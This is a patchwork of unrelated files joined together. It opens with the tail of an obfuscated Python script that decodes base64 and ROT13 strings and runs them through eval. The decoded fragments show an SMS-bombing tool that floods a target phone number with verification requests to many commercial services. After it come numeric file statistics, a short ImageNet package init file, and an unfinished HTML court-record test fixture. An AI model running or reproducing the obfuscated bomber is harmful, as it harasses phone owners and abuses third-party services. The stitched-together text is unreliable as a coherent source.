oJZXhjZXB0Og0KICAgICAgICAgICAgICAgIGZhaWxlZCArPSAxDQojMzYNCg0KDQoJdHJ5Og0KCQlyZXF1ZXN0cy5wb3N0KCdodHRwczovL3d3dy5yYWJvdGEucnUvcmVtaW5kJywgZGF0YT17J2NyZWRlbnRpYWwnOiBfcGhvbmV9KQ0KCQlwcmludChyYW5kb20uY2hvaWNlKGNvbG9ycykpDQoJCW9zLnN5c3RlbSgnY2xlYXInKQ0KCQlwcmludCgiPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSIpDQoJCXByaW50KCIJCQlUYXJnZXQgTnVtYmVyICAgICAgICAgOiAiLCBfcGhvbmUpDQoJCXByaW50KCIiKQkJDQoJCXByaW50KCIJCQlTdWNjZXNzZnVsIFJlcXVlc3RzICAgOiAiLCBzdWNjZXNzKQ0KCQlwcmludCgiPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSIpDQoJZXhjZXB0Og0KCQlwcmludCgnWy1dIFJlcXVlc3RzIEZhaWxlZCEnKQ0KCXRyeTogICAgICAgIA0KICAgICAgICAgICAgICAgIHN1Y2Nlc3MgKz0gMQ0KCQ0KCWV4Y2VwdDoNCiAgICAgICAgICAgICAgICBmYWlsZWQgKz0gMQ0KIzM3DQoNCgl0cnk6DQoJCXJlcXVlc3RzLmdldCgnaHR0cHM6Ly93d3cub3lvcm9vbXMuY29tL2FwaS9wd2EvZ2VuZXJhdGVvdHA/cGhvbmU9JytfcGhvbmU5KycmY291bnRyeV9jb2RlPSUyQjcmbm9kPTQmbG9jYWxlPWVuJykNCgkJcHJpbnQocmFuZG9tLmNob2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oY2xpZW50OiAkY2xpZW50KSB7JydcbiAgICB0b2tlblxuICAgIF9fdHlwZW5hbWVcbiAgfVxufVxuJ30pDQoJCXByaW50KHJhbmRvbS5jaG9pY2UoY29sb3JzKSkNCgkJb3Muc3lzdGVtKCdjbGVhcicpDQoJCXByaW50KCI9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09IikNCgkJcHJpbnQoIgkJCVRhcmdldCBOdW1iZXIgICAgICAgICA6ICIsIF9waG9uZSkNCgkJcHJpbnQoIiIpCQkNCgkJcHJpbnQoIgkJCVN1Y2Nlc3NmdWwgUmVxdWVzdHMgICA6ICIsIHN1Y2Nlc3MpDQoJCXByaW50KCI9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09IikNCglleGNlcHQ6DQoJCXByaW50KCdbLV0gUmVxdWVzdHMgRmFpbGVkIScpDQoJdHJ5OiAgICAgICAgDQogICAgICAgICAgICAgICAgc3VjY2VzcyArPSAxDQoJDQoJZXhjZXB0Og0KICAgICAgICAgICAgICAgIGZhaWxlZCArPSAxDQojNDANCg0KCXRyeToNCgkJcmVxdWVzdHMucG9zdCgnaHR0cHM6Ly9hcGkuc3VubGlnaHQubmV0L3YzL2N1c3RvbWVycy9hdXRob3JpemF0aW9uLycsIGRhdGE9eydwaG9uZSc6IF9waG9uZX0pDQoJCXByaW50KHJhbmRvbS5jaG9pY2UoY29sb3JzKSkNCgkJb3Muc3lzdGVtKCdjbGVhcicpDQoJCXByaW50KCI9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09IikNCgkJcHJpbnQoIgkJCVRhcmdldCBOdW1iZXIgICAgICAgICA6ICIsIF9waG9uZSkNCgkJcHJpbnQoIiIpCQkNCgkJcHJpbnQoIgkJCVN1Y2Nlc3NmdWwgUmVxdWVzdHMgICA6ICIsIHN1Y2Nlc3MpDQoJCXByaW50KCI9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09IikNCglleGNlcHQ6DQoJCXByaW50KCdbLV0gUmVxdWVzdHMgRmFpbGVkIScpDQoJdHJ5OiAgICAgICAgDQogICAgICAgICAgICAgICAgc3VjY2VzcyArPSAxDQoJDQoJZXhjZXB0Og0KICAgICAgICAgICAgICAgIGZhaWxlZCArPSAxDQojNDENCg0KCXRyeToNCgkJcmVxdWVzdHMucG9zdCgnaHR0cHM6Ly9hbHBhcmkuY29tL2FwaS9ydS9wcm90ZWN0aW9uL2RlbGl2ZXIvMmYxNzhiMTc5OTBjYTRiNzkwM2FhODM0YjlmNTRjMmMwYmNiMDFhMi8nLCBqc29uPXsnY2xpZW50X3R5cGUnOiAncGVyc29uYWwnLCAnZW1haWwnOiBfZW1haWwsICdtb2JpbGVfcGhvbmUnOiBfcGhvbmUsICdkZWxpdmVyeU9wdGlvbic6ICdzbXMnfSkNCgkJcHJpbnQocmFuZG9tLmNob2ljZShjb2xvcnMpKQ0KCQlvcy5zeXN0ZW0oJ2NsZWFyJykNCgkJcHJpbnQoIj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iKQ0KCQlwcmludCgiCQkJVGFyZ2V0IE51bWJlciAgICAgICAgIDogIiwgX3Bob25lKQ0KCQlwcmludCgiIikJCQ0KCQlwcmludCgiCQkJU3VjY2Vzc2Z1bCBSZXF1ZXN0cyAgIDogIiwgc3VjY2VzcykNCgkJcHJpbnQoIj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iKQ0KCWV4Y2VwdDoNCgkJcHJpbnQoJ1stXSBSZXF1ZXN0cyBGYWlsZWQhJykNCgl0cnk6ICAgICAgICANCiAgICAgICAgICAgICAgICBzdWNjZXNzICs9IDENCgkNCglleGNlcHQ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zcykNCgkJcHJpbnQoIj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iKQ0KCWV4Y2VwdDoNCgkJcHJpbnQoJ1stXSBSZXF1ZXN0cyBGYWlsZWQhJykNCgl0cnk6ICAgICAgICANCiAgICAgICAgICAgICAgICBzdWNjZXNzICs9IDENCgkNCglleGNlcHQ6DQogICAgICAgICAgICAgICAgZmFpbGVkICs9IDENCiM0NQ0KDQoJdHJ5Og0KCQlyZXF1ZXN0cy5wb3N0KCdodHRwczovL215YXBpLmJlbHRlbGVjb20uYnkvYXBpL3YxL2F1dGgvY2hlY2stcGhvbmU/bGFuZz1ydScsIGRhdGE9eydwaG9uZSc6IF9waG9uZX0pDQoJCXByaW50KHJhbmRvbS5jaG9pY2UoY29sb3JzKSkNCgkJb3Muc3lzdGVtKCdjbGVhcicpDQoJCXByaW50KCI9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09IikNCgkJcHJpbnQoIgkJCVRhcmdldCBOdW1iZXIgICAgICAgICA6ICIsIF9waG9uZSkNCgkJcHJpbnQoIiIpCQkNCgkJcHJpbnQoIgkJCVN1Y2Nlc3NmdWwgUmVxdWVzdHMgICA6ICIsIHN1Y2Nlc3MpDQoJCXByaW50KCI9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09IikNCglleGNlcHQ6DQoJCXByaW50KCdbLV0gUmVxdWVzdHMgRmFpbGVkIScpDQoJdHJ5OiAgICAgICAgDQogICAgICAgICAgICAgICAgc3VjY2VzcyArPSAxDQoJDQoJZXhjZXB0Og0KICAgICAgICAgICAgICAgIGZhaWxlZCArPSAxDQoNCiM0Ng0KCXRyeToNCgkJcmVxdWVzdHMucG9zdCgnaHR0cHM6Ly9hcHAua2FydXNlbC5ydS9hcGkvdjEvcGhvbmUvJywgZGF0YT17J3Bob25lJzogX3Bob25lfSkNCgkJcHJpbnQocmFuZG9tLmNob2ljZShjb2xvcnMpKQ0KCQlvcy5zeXN0ZW0oJ2NsZWFyJykNCgkJcHJpbnQoIj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iKQ0KCQlwcmludCgiCQkJVGFyZ2V0IE51bWJlciAgICAgICAgIDogIiwgX3Bob25lKQ0KCQlwcmludCgiIikJCQ0KCQlwcmludCgiCQkJU3VjY2Vzc2Z1bCBSZXF1ZXN0cyAgIDogIiwgc3VjY2VzcykNCgkJcHJpbnQoIj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iKQ0KCWV4Y2VwdDoNCgkJcHJpbnQoJ1stXSBSZXF1ZXN0cyBGYWlsZWQhJykNCgl0cnk6ICAgICAgICANCiAgICAgICAgICAgICAgICBzdWNjZXNzICs9IDENCgkNCglleGNlcHQ6DQogICAgICAgICAgICAgICAgZmFpbGVkICs9IDENCg0KIzQ3DQoJdHJ5Og0KCQlyZXF1ZXN0cy5wb3N0KCdodHRwczovL2FwcC1hcGkua2ZjLnJ1L2FwaS92MS9jb21tb24vYXV0aC9zZW5kLXZhbGlkYXRpb24tc21zJywganNvbj17J3Bob25lJzogJysnICsgX3Bob25lfSkNCgkJcHJpbnQocmFuZG9tLmNob2ljZShjb2xvcnMpKQ0KCQlvcy5zeXN0ZW0oJ2NsZWFyJykNCgkJcHJpbnQoIj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iKQ0KCQlwcmludCgiCQkJVGFyZ2V0IE51bWJlciAgICAgICAgIDogIiwgX3Bob25lKQ0KCQlwcmludCgiIikJCQ0KCQlwcmludCgiCQkJU3VjY2Vzc2Z1bCBSZXF1ZXN0cyAgIDogIiwgc3VjY2VzcykNCgkJcHJpbnQoIj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iKQ0KCWV4Y2VwdDoNCgkJcHJpbnQoJ1stXSBSZXF1ZXN0cyBGYWlsZWQhJykNCgl0cnk6ICAgICAgICANCiAgICAgICAgICAgICAgICBzdWNjZXNzICs9IDENCgkNCglleGNlcHQ6DQogICAgICAgICAgICAgICAgZmFpbGVkICs9IDENCiM0OA0KDQoJdHJ5Og0KCQlyZXF1ZXN0cy5wb3N0KCJodHRwczovL2FwaS5jYXJzbWlsZS5jb20vIixqc29uPXsib3BlcmF0aW9uTmFtZSI6ICJlbnRlclBob25lIiwgInZhcmlhYmxlcyI6IHsicGhvbmUiOiBfcGhvbmV9LCJxdWVyeSI6ICJtdXRhdGlvbiBlbnRlclBob25lKCRwaG9uZTogU3RyaW5nISkge1xuICBlbnRlclBob25lKHBob25lOiAkcGhvbmUpXG59XG4ifSkNCgkJcHJpbnQocmFuZG9tLmNob2ljZShjb2xvcnMpKQ0KCQlvcy5zeXN0ZW0oJ2NsZWFyJykNCgkJcHJpbnQoIj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iKQ0KCQlwcmludCgiCQkJVGFyZ2V0IE51bWJlciAgICAgICAgIDogIiwgX3Bob25lKQ0KCQlwcmludCgiIikJCQ0KCQlwcmludCgiCQkJU3VjY2Vzc2Z1bCBSZXF1ZXN0cyAgIDogIiwgc3VjY2VzcykNCgkJcHJpbnQoIj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iKQ0KCWV4Y2VwdDoNCgkJcHJpbnQoJ1stXSBSZXF1ZXN0cyBGYWlsZWQhJykNCgl0cnk6ICAgICAgICANCiAgICAgICAgICAgICAgICBzdWNjZXNzICs9IDENCgkNCglleGNlcHQ6DQogICAgICAgICAgICAgICAgZmFpbGVkICs9IDENCiM0OQ0KDQoNCgl0cnk6DQoJCXJlcXVlc3RzLnBvc3QoJ2h0dHBzOi8vd3d3LmNpdGlsaW5rLnJ1L3JlZ2lzdHJhdGlvbi9jb25maXJtL3Bob25lLysnICsgX3Bob25lICsgJy8nKQ0KCQlwcmludChyYW5kb20uY2hvaWNlKGNvbG9ycykpDQoJCW9zLnN5c3RlbSgnY2xlYXInKQ0KCQlwcmludCgiPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSIpDQoJCXByaW50KCIJCQlUYXJnZXQgTnVtYmVyICAgICAgICAgOiAiLCBfcGhvbmUpDQoJCXByaW50KCIiKQkJDQoJCXByaW50KCIJCQlTdWNjZXNzZnVsIFJlcXVlc3RzICAgOiAiLCBzdWNjZXNzKQ0KCQlwcmludCgiPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSIpDQoJZXhjZXB0Og0KCQlwcmludCgnWy1dIFJlcXVlc3RzIEZhaWxlZCEnKQ0KCXRyeTogICAgICAgIA0KICAgICAgICAgICAgICAgIHN1Y2Nlc3MgKz0gMQ0KCQ0KCWV4Y2VwdDoNCiAgICAgICAgICAgICAgICBmYWlsZWQgKz0gMQ0KIzUwDQoNCg0KCXRyeToNCgkJcmVxdWVzdHMuZ2V0KCdodHRwczovL2ZpbmRjbG9uZS5ydS9yZWdpc3Rlcic'
destiny = 'fVUOupzSgpm17W3Obo25yWmbtWlfaVPftK3Obo25ysFxAPtxWpUWcoaDbpzShMT9gYzAbo2ywMFuwo2kipaZcXD0XPDyipl5mrKA0MJ0bW2AfMJSlWlxAPtxWpUWcoaDbVw09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG0vXD0XPDyjpzyhqPtvPDxWITSlM2I0VR51oJWypvNtVPNtVPNtVQbtVvjtK3Obo25yXD0XPDyjpzyhqPtvVvxWPD0XPDyjpzyhqPtv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PvNtVPNtVPNtVPNtVPNtVPOzLJyfMJDtXm0tZD0XVmLjQDbAPty0pax6QDbWPKWypKIyp3EmYaOip3DbVzu0qUOmBv8io2fhpaHiMTf/L21xCHSho255oIWyM2ymqUWuqTyioxIhqTIlHTuiozHzp3DhL21xCJSho255oIWyM2ymqUWuqTyioxIhqTIlHTuiozHvYTEuqTR9rlWmqP5lYaObo25yVwbtVvfvVPftK3Obo25ysFxAPtxWpUWcoaDbpzShMT9gYzAbo2ywMFuwo2kipaZcXD0XPDyipl5mrKA0MJ0bW2AfMJSlWlxAPtxWpUWcoaDbVw09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG0vXD0XPDyjpzyhqPtvPDxWITSlM2I0VR51oJWypvNtVPNtVPNtVQbtVvjtK3Obo25yXD0XPDyjpzyhqPtvVvxWPD0XPDyjpzyhqPtvPDxWH3IwL2Imp2M1oPOFMKS1MKA0plNtVQbtVvjtp3IwL2ImplxAPtxWpUWcoaDbVw09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG0vXD0XPJI4L2IjqQbAPtxWpUWcoaDbW1fgKFOFMKS1MKA0plOTLJyfMJDuWlxAPty0pax6VPNtVPNtVPNAPvNtVPNtVPNtVPNtVPNtVPOmqJAwMKAmVPf9VQRAPtxAPtyyrTAypUD6QDbtVPNtVPNtVPNtVPNtVPNtMzScoTIxVPf9VQRAPvZ2ZD0XQDbWqUW5Bt0XPDylMKS1MKA0pl5jo3A0XPqbqUEjpmbiY3OfnJ5eYaEyL2tipzIanKA0MKViWlkdp29hCKfvpTuiozHvBvOspTuiozI9XD0XPDyjpzyhqPulLJ5xo20hL2uinJAyXTAioT9lplxcQDbWPJ9mYaA5p3EyoFtaL2kyLKVaXD0XPDyjpzyhqPtvCG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09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tVPNtVPNtVUA1L2Ayp3ZtXm0tZD0XPD0XPJI4L2IjqQbAPvNtVPNtVPNtVPNtVPNtVPOzLJyfMJDtXm0tZD0XQDbWqUW5Bt0XPDycqTIlLKEco24tXm0tZD0XPDyjpzyhqPtvCG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CFVcQDbWPKOlnJ50XPptCFO7sFOHo3IlplOGqJAwMKAmVPphMz9loJS0XTy0MKWuqTyiovxcQDbWPKOlnJ50XPV9CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09VvxAPtyyrTAypUD6QDbWPJWlMJSeQDb='
joy = '\x72\x6f\x74\x31\x33'
trust = eval('\x6d\x61\x67\x69\x63') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x6c\x6f\x76\x65\x2c\x20\x6a\x6f\x79\x29') + eval('\x67\x6f\x64') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x64\x65\x73\x74\x69\x6e\x79\x2c\x20\x6a\x6f\x79\x29')
eval(compile(base64.b64decode(eval('\x74\x72\x75\x73\x74')),'<string>','exec'))
| 8,742.222222
| 19,566
| 0.997661
| 116
| 78,680
| 676.689655
| 0.560345
| 0.000535
| 0.000459
| 0.000612
| 0.001733
| 0.001733
| 0.001733
| 0.001172
| 0.001172
| 0.001172
| 0
| 0.171431
| 0.000458
| 78,680
| 8
| 19,567
| 9,835
| 0.826687
| 0
| 0
| 0
| 0
| 0.375
| 0.997814
| 0.996746
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.125
| 0
| 0.125
| 0
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
080eaa923c35f40ae03b060bede97cdd873290fb
| 133
|
py
|
Python
|
models/imagenet/__init__.py
|
XuJiacong/imagenet_test
|
4b0dfc00d1708f072a5fdcfd3540db5b0a3e0945
|
[
"MIT"
] | null | null | null |
models/imagenet/__init__.py
|
XuJiacong/imagenet_test
|
4b0dfc00d1708f072a5fdcfd3540db5b0a3e0945
|
[
"MIT"
] | null | null | null |
models/imagenet/__init__.py
|
XuJiacong/imagenet_test
|
4b0dfc00d1708f072a5fdcfd3540db5b0a3e0945
|
[
"MIT"
] | null | null | null |
from __future__ import absolute_import
from .resnext import *
from .hrednet_full_imgnet import *
from .hrednet_half_imgnet import *
| 22.166667
| 38
| 0.827068
| 18
| 133
| 5.611111
| 0.5
| 0.29703
| 0.336634
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.12782
| 133
| 5
| 39
| 26.6
| 0.87069
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
f2833a06d423c72d900200114c96aed8e9f09548
| 118,039
|
py
|
Python
|
src/backend/tests/fixtures/case_details.py
|
htharker42/recordExpung
|
c4cc21918f9974dc58bc6265407edbaa28d8b674
|
[
"CNRI-Python",
"Linux-OpenIB",
"CECILL-B"
] | null | null | null |
src/backend/tests/fixtures/case_details.py
|
htharker42/recordExpung
|
c4cc21918f9974dc58bc6265407edbaa28d8b674
|
[
"CNRI-Python",
"Linux-OpenIB",
"CECILL-B"
] | null | null | null |
src/backend/tests/fixtures/case_details.py
|
htharker42/recordExpung
|
c4cc21918f9974dc58bc6265407edbaa28d8b674
|
[
"CNRI-Python",
"Linux-OpenIB",
"CECILL-B"
] | null | null | null |
class CaseDetails:
CASE_X1 = '''
<html>
<head>
</head>
<body onload="Javascript:checkRefresh()">
<?xml version="1.0" encoding="utf-8"?><table cellspacing="0" cellpadding="0" width="100%" border="0" style="table-layout: fixed; margin:0px; padding:0px;"></table><table cellspacing="0" cellpadding="0" width="100%" border="0" style="table-layout: fixed; margin:0px; padding:0px;"><tr><td bgcolor="#000000" height="20px"><table cellspacing="0" cellpadding="0" width="100%" border="0"><tr><td align="left" style="padding-left: 5px"><font size="1"><a class="ssBlackNavBarHyperlink" href="#MainContent">Skip to Main Content</a> <a class="ssBlackNavBarHyperlink" href="logout.aspx">Logout</a> <a class="ssBlackNavBarHyperlink" href="MyAccount.aspx?ReturnURL=default.aspx">My Account</a> <a class="ssBlackNavBarHyperlink" href="default.aspx">Search Menu</a> <a class="ssBlackNavBarHyperlink" href="Search.aspx?ID=100">Search Criminal, Traffic and Parking Case Records</a> <a class="ssBlackNavBarHyperlink" href="Search.aspx?ID=100&RefineSearch=1">Refine Search</a> <a class="ssBlackNavBarHyperlink" href="
 javascript:if((new String(window.location)).indexOf("#MainContent") > 0)
 {
 history.back();
 history.back();
 }
 else history.back();
 ">
Back</a> </font></td><td align="center" class="ssBlackNavBarLocation"></td><td align="right" style="padding-right: 10px"><table cellspacing="0" cellpadding="0" border="0"><tr><td class="ssBlackNavBarLocation">
Location : All Locations</td><td size="1"><a class="ssBlackNavBarHyperlink" href="CPR.aspx?CaseID=55555555&CaseCategoryKeys=CR&NodeID=a lot of nodes">Images</a> </td><td><font size="1"><a class="ssBlackNavBarHyperlink" target="_blank" href="http://www.courts.oregon.gov/services/online/Documents/OJCIN/OECI/PA_QRefG_OJIN.pdf">Help</a></font></td></tr></table></td></tr></table></td></tr></table><a id="MainContent" name="MainContent" tabindex="-1"></a><div class="ssCaseDetailROA" nowrap="true">Register of Actions</div><a href="CPR.aspx?CaseID=55555555&CaseCategoryKeys=CR&NodeID=a lot of nodes"><div class="ssCaseDetailCaseNbr" nowrap="true" style="cursor: hand" title="Click to view images on the case">
Case No. <span style="font-variant: normal">55VI55555</span></div></a><table cellpadding="0" cellspacing="0" border="0" width="100%"><tr><td width="50%" valign="top"><b>State of Oregon
vs
John D Doe</b></td><td>§<br />§<br />§<br />§<br />§<br /></td><td width="50%" valign="top" align="center"><table cellpadding="0" cellspacing="0" width="90%" border="0"><tr><td width="70%"><table cellpadding="0" cellspacing="0" width="100%" border="0"><cols><col width="50%" /><col width="50%" /></cols><tr><th class="ssTableHeaderLabel">Case Type:</th><td style="padding-left:10px"><b>Offense Violation</b></td></tr><tr><th class="ssTableHeaderLabel">Subtype:</th><td style="padding-left:10px"><b>Driver</b></td></tr><tr><th class="ssTableHeaderLabel">Date Filed:</th><td style="padding-left:10px"><b>03/14/2017</b></td></tr><tr><th class="ssTableHeaderLabel">Location:</th><td style="padding-left:10px"><b>Multnomah</b></td></tr></table></td></tr></table></td></tr></table><table cellpadding="0" cellspacing="0" width="100%" border="0" style="table-layout: fixed"><col width="10%" /><col width="30%" /><col width="10%" /><col width="30%" /><col width="20%" /><caption><div class="ssCaseDetailSectionTitle">Party Information</div></caption><tr><td colspan="4"></td><th class="ssTableHeader" id="PIc5">Attorneys</th></tr><tr><th class="ssTableHeader" valign="top" rowspan="2" id="PIr01">Defendant</th><th class="ssTableHeader" valign="top" id="PIr11">Doe, John D</th><td rowspan="2"></td><td rowspan="2" valign="top" headers="
 PIr01 
 PIr11">Male<br />
DOB: 1970<br />6' 0", 160 lbs</td><td rowspan="2" valign="top" headers="
 PIr01 
 PIr11 
 PIc5
 "><s></s></td></tr><tr><td valign="top" headers="
 PIr01 
 PIr11"> street address here<br /> Portland, OR 97225<br /><nobr> SID:
</nobr>OR555555555<br /><nobr> Other Agency Numbers
</nobr><div style="padding-left: 15px;">99719 Multnomah County Sheriff</div></td></tr><tr height="25"><td colspan="5"> </td></tr><tr><th class="ssTableHeader" valign="top" rowspan="2" id="PIr02">Plaintiff</th><th class="ssTableHeader" valign="top" id="PIr12">State of Oregon</th><td rowspan="2"></td><td rowspan="2" valign="top" headers="
 PIr02 
 PIr12"> </td><td rowspan="2" valign="top" headers="
 PIr02 
 PIr12 
 PIc5
 "><s></s></td></tr><tr><td valign="top" headers="
 PIr02 
 PIr12"></td></tr></table><table cellpadding="0" cellspacing="0" width="100%" border="0"><col width="2%" /><col width="40%" /><col width="15%" /><col width="15%" /><col width="15%" /><col width="10%" /><caption><div class="ssCaseDetailSectionTitle">Charge Information</div></caption><tr><th class="ssTableHeader" nowrap="true" colspan="2">
Charges: Doe, John D</th><th class="ssTableHeader"></th><th class="ssTableHeader">
Statute
</th><th class="ssTableHeader">
Level
</th><th class="ssTableHeader">
Date
</th></tr><tr><td valign="top">1.
</td><td valign="top">Driving Uninsured</td><td valign="top"></td><td valign="top">806.010</td><td valign="top" nowrap="true">Violation Class B</td><td valign="top" nowrap="true">03/12/2017</td></tr><tr><td /><td></td></tr><tr><td valign="top">2.
</td><td valign="top">Violation Driving While Suspended or Revoked</td><td valign="top"></td><td valign="top">811.175</td><td valign="top" nowrap="true">Violation Class A</td><td valign="top" nowrap="true">04/01/2016</td></tr><tr><td /><td></td></tr><tr><td valign="top">3.
</td><td valign="top">Failure to Obey Traffic Control Device</td><td valign="top"></td><td valign="top">811.265</td><td valign="top" nowrap="true">Violation Class C</td><td valign="top" nowrap="true">05/22/2015</td></tr><tr><td /><td></td></tr></table><table cellpadding="0" cellspacing="0" width="100%" border="0" style="table-layout:fixed;"><col width="54px" /><col width="3px" /><col width="3px" /><col width="700px" /><col width="100%" /><caption><div class="ssCaseDetailSectionTitle">Events & Orders of the Court</div></caption><tr><td> </td><td style="border-right: 1px solid black"> </td><td> </td><th id="CDisp" class="ssEventsAndOrdersSubTitle">DISPOSITIONS</th></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDCD1">04/10/2017</th><td style="border-right: 1px solid black"> </td><td> </td><td valign="top" headers="CDisp RCDCD1"><div style="padding-bottom: 10px"><b>Plea</b> (Judicial Officer: Authority, Administrative)<br /><div><div style="padding-left: 10px">1. Driving Uninsured<div style="padding-left: 40px">Not Guilty</div><div style="padding-left: 40px"></div>2. Violation Driving While Suspended or Revoked<div style="padding-left: 40px">Not Guilty</div><div style="padding-left: 40px"></div>3. Failure to Obey Traffic Control Device<div style="padding-left: 40px">Not Guilty</div><div style="padding-left: 40px"></div></div></div><div style="padding-left: 10px;font-size:8pt;">
Created: 04/10/2017 11:43 AM</div></div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDCD2">06/12/2017</th><td style="border-right: 1px solid black"> </td><td> </td><td valign="top" headers="CDisp RCDCD2"><div style="padding-bottom: 10px"><b>Disposition</b> (Judicial Officer: Office, Judicial M)<br /><div><div style="padding-left: 10px">1. Driving Uninsured<div style="padding-left: 40px">Convicted - Failure to Appear</div><div style="padding-left: 40px"></div>2. Violation Driving While Suspended or Revoked<div style="padding-left: 40px">Dismissed</div><div style="padding-left: 40px"></div>3. Failure to Obey Traffic Control Device<div style="padding-left: 40px">Hmmmm</div><div style="padding-left: 40px"></div></div></div><div style="padding-left: 10px;font-size:8pt;">
Created: 06/12/2017 2:57 PM</div></div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDCD3">06/12/2017</th><td style="border-right: 1px solid black"> </td><td> </td><td valign="top" headers="CDisp RCDCD3"><div style="padding-bottom: 10px"><b>Sentence - Violation</b> (Judicial Officer: Office, Judicial M)<br /><div><div style="padding-left: 10px">1. Driving Uninsured<div style="padding-left: 40px"><table cellspacing="0px" border="0" cellpadding="0px"><colgroup><col style="width:135px;" /><col style="width:135px;" /><col style="width:110px;" /><col style="width:100px;" /><col style="width:100px;" /></colgroup><tr><td style="text-align:left;" colspan="2" class="ssMenuText ssSmallText">
Fee Totals:
</td></tr><tr><td class="ssMenuText ssSmallText"><nobr><table cellspacing="0px" cellpadding="0px" style="table-layout:fixed" width="100%"><colgroup><col width="20px" /><col width="*" /></colgroup><tr><td style="text-align:left;" colspan="2" class="ssMenuText ssSmallText"></td></tr></table></nobr></td></tr><tr style=""><td style="text-align:left" class="ssMenuText ssSmallText"></td><td style="text-align:right;padding-right:20px;" class="ssMenuText ssSmallText">
Amount
</td><td style="text-align:right;padding-right:20px;" class="ssMenuText ssSmallText">
Reduction
</td><td style="text-align:right;padding-right:20px;" class="ssMenuText ssSmallText">
Owed
</td></tr><InputFeeScheds><tr><td style="padding-left:20px;text-align:left;" class="ssMenuText ssSmallText">Fine - Traffic</td><td style="text-align:right;padding-right:20px;" class="ssMenuText ssSmallText">$265.00</td><td style="text-align:right;padding-right:20px;" class="ssMenuText ssSmallText"></td><td style="text-align:right;padding-right:20px;" class="ssMenuText ssSmallText">$265.00</td></tr></InputFeeScheds><tr style=""><td style="text-align:left" class="ssMenuText ssSmallText"><span>Fee Totals </span><span>$</span></td><td style="text-align:right;padding-right:20px;" class="ssMenuText ssSmallText">$265.00</td><td style="text-align:right;padding-right:20px;" class="ssMenuText ssSmallText"></td><td style="text-align:right;padding-right:20px;" class="ssMenuText ssSmallText">$265.00</td></tr><tr style=""><td style="text-align:left" class="ssMenuText ssSmallText"><span>Fee Modifier </span></td><td style="text-align:right;padding-right:20px;" class="ssMenuText ssSmallText"></td><td style="text-align:right;padding-right:20px;" class="ssMenuText ssSmallText"></td><td style="text-align:right;padding-right:20px;" class="ssMenuText ssSmallText"></td></tr><tr><td style="text-align:left;" colspan="2" class="ssMenuText 